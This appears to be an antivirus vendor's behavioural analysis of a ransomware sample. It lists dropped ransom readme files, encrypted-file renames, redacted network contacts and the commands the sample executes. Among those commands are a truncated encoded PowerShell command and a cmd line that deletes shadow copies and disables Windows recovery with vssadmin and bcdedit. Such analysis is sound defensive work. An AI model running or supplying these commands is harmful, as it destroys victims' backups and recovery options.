Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\62j70hih0c-readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\168.jpg
- %HOMEPATH%\desktop\split.avi
- %HOMEPATH%\desktop\sdksampleunprivdeveloper.cer
- %HOMEPATH%\desktop\sdkfailsafeemulator.cer
- %HOMEPATH%\desktop\pushkin.jpg
- %HOMEPATH%\desktop\pushkin.jpeg
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\parnas_01.jpeg
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\ituneshelpunavailable.html
- %HOMEPATH%\desktop\ituneshelpunavailable.htm
- %HOMEPATH%\desktop\iisstart.html
- %HOMEPATH%\desktop\iisstart.htm
- %HOMEPATH%\desktop\garden.htm
- %HOMEPATH%\desktop\dial.bmp
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_144.bmp
- %HOMEPATH%\desktop\correct.avi
- %HOMEPATH%\desktop\adhd_and_obesity.docx
- %HOMEPATH%\desktop\adadsi.html
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
- %HOMEPATH%\desktop\2.jpg
- %HOMEPATH%\desktop\testcertificate.cer
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
Modifies file system
Creates the following files
- %HOMEPATH%\ctnnf.exe
- %HOMEPATH%\contacts\62j70hih0c-readme.txt
- C:\users\public\videos\62j70hih0c-readme.txt
- C:\users\public\recorded tv\62j70hih0c-readme.txt
- C:\users\public\pictures\62j70hih0c-readme.txt
- C:\users\public\music\62j70hih0c-readme.txt
- C:\users\public\libraries\62j70hih0c-readme.txt
- C:\users\public\favorites\62j70hih0c-readme.txt
- C:\users\public\downloads\62j70hih0c-readme.txt
- C:\users\public\documents\62j70hih0c-readme.txt
- C:\users\default\videos\62j70hih0c-readme.txt
- %HOMEPATH%\documents\62j70hih0c-readme.txt
- C:\users\default\saved games\62j70hih0c-readme.txt
- C:\users\default\pictures\62j70hih0c-readme.txt
- C:\users\default\music\62j70hih0c-readme.txt
- C:\users\default\links\62j70hih0c-readme.txt
- C:\users\default\favorites\62j70hih0c-readme.txt
- C:\users\default\downloads\62j70hih0c-readme.txt
- C:\users\default\documents\62j70hih0c-readme.txt
- C:\users\default\desktop\62j70hih0c-readme.txt
- C:\users\public\desktop\62j70hih0c-readme.txt
- C:\far2\plugins\compare\62j70hih0c-readme.txt
- %HOMEPATH%\downloads\62j70hih0c-readme.txt
- %HOMEPATH%\favorites\msn websites\62j70hih0c-readme.txt
- %HOMEPATH%\favorites\microsoft websites\62j70hih0c-readme.txt
- %HOMEPATH%\favorites\links for united states\62j70hih0c-readme.txt
- %HOMEPATH%\favorites\links\62j70hih0c-readme.txt
- C:\users\public\videos\sample videos\62j70hih0c-readme.txt
- C:\users\public\recorded tv\sample media\62j70hih0c-readme.txt
- C:\users\public\pictures\sample pictures\62j70hih0c-readme.txt
- C:\users\public\music\sample music\62j70hih0c-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\desktop\62j70hih0c-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\62j70hih0c-readme.txt
- %HOMEPATH%\desktop\62j70hih0c-readme.txt
- C:\far2\addons\colors\default_highlighting\62j70hih0c-readme.txt
- C:\far2\addons\colors\custom_highlighting\62j70hih0c-readme.txt
- %HOMEPATH%\voip\62j70hih0c-readme.txt
- %HOMEPATH%\videos\62j70hih0c-readme.txt
- %HOMEPATH%\searches\62j70hih0c-readme.txt
- %HOMEPATH%\saved games\62j70hih0c-readme.txt
- %HOMEPATH%\pictures\62j70hih0c-readme.txt
- %HOMEPATH%\music\62j70hih0c-readme.txt
- %HOMEPATH%\links\62j70hih0c-readme.txt
- C:\far2\addons\xlat\russian\62j70hih0c-readme.txt
- %HOMEPATH%\favorites\62j70hih0c-readme.txt
- C:\far2\pluginsdk\headers.pas\62j70hih0c-readme.txt
- C:\far2\pluginsdk\headers.c\62j70hih0c-readme.txt
- C:\far2\plugins\tmppanel\62j70hih0c-readme.txt
- C:\far2\documentation\62j70hih0c-readme.txt
- C:\users\public\62j70hih0c-readme.txt
- C:\users\default\62j70hih0c-readme.txt
- C:\totalcmd\language\62j70hih0c-readme.txt
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\62j70hih0c-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\62j70hih0c-readme.txt
- C:\far2\pluginsdk\62j70hih0c-readme.txt
- C:\far2\plugins\62j70hih0c-readme.txt
- C:\far2\fexcept\62j70hih0c-readme.txt
- %HOMEPATH%\favorites\windows live\62j70hih0c-readme.txt
- <Current directory>\~$iifbfr.doc
- C:\far2\addons\62j70hih0c-readme.txt
- <Current directory>\62j70hih0c-readme.txt
- C:\users\62j70hih0c-readme.txt
- C:\totalcmd\62j70hih0c-readme.txt
- C:\recovery\62j70hih0c-readme.txt
- %ProgramFiles(x86)%\62j70hih0c-readme.txt
- %ProgramFiles%\62j70hih0c-readme.txt
- C:\far2\62j70hih0c-readme.txt
- C:\62j70hih0c-readme.txt
- C:\far2\encyclopedia\62j70hih0c-readme.txt
- C:\far2\plugins\ftp\lib\62j70hih0c-readme.txt
- C:\far2\addons\colors\62j70hih0c-readme.txt
- C:\far2\addons\shell\62j70hih0c-readme.txt
- C:\far2\addons\macros\62j70hih0c-readme.txt
- C:\far2\plugins\proclist\62j70hih0c-readme.txt
- C:\far2\plugins\network\62j70hih0c-readme.txt
- C:\far2\plugins\macroview\62j70hih0c-readme.txt
- C:\far2\plugins\hlfviewer\62j70hih0c-readme.txt
- C:\far2\plugins\ftp\62j70hih0c-readme.txt
- C:\far2\plugins\filecase\62j70hih0c-readme.txt
- C:\far2\plugins\farcmds\62j70hih0c-readme.txt
- C:\far2\plugins\emenu\62j70hih0c-readme.txt
- C:\far2\addons\setup\62j70hih0c-readme.txt
- C:\far2\plugins\editcase\62j70hih0c-readme.txt
- %HOMEPATH%\62j70hih0c-readme.txt
- C:\far2\plugins\brackets\62j70hih0c-readme.txt
- C:\far2\plugins\autowrap\62j70hih0c-readme.txt
- C:\far2\plugins\arclite\62j70hih0c-readme.txt
- C:\far2\plugins\align\62j70hih0c-readme.txt
- C:\far2\encyclopedia\tap\62j70hih0c-readme.txt
- C:\far2\documentation\rus\62j70hih0c-readme.txt
- C:\far2\documentation\eng\62j70hih0c-readme.txt
- C:\far2\addons\xlat\62j70hih0c-readme.txt
- C:\far2\plugins\drawline\62j70hih0c-readme.txt
- D:\62j70hih0c-readme.txt
Moves the following files
- from <Current directory>\~$iifbfr.doc to <Current directory>\~$iifbfr.doc.62j70hih0c
Moves itself
- from <PATH_SAMPLE>.doc to <PATH_SAMPLE>.doc.62j70hih0c
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'pa###bin.com':443
TCP
HTTP GET requests
- http://fc####leibrahim.top/sywo/fgoow.php?l=############
- http://18#.#93.141.248/gs.php
UDP
- DNS ASK fc####leibrahim.top
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\vssvc.exe'
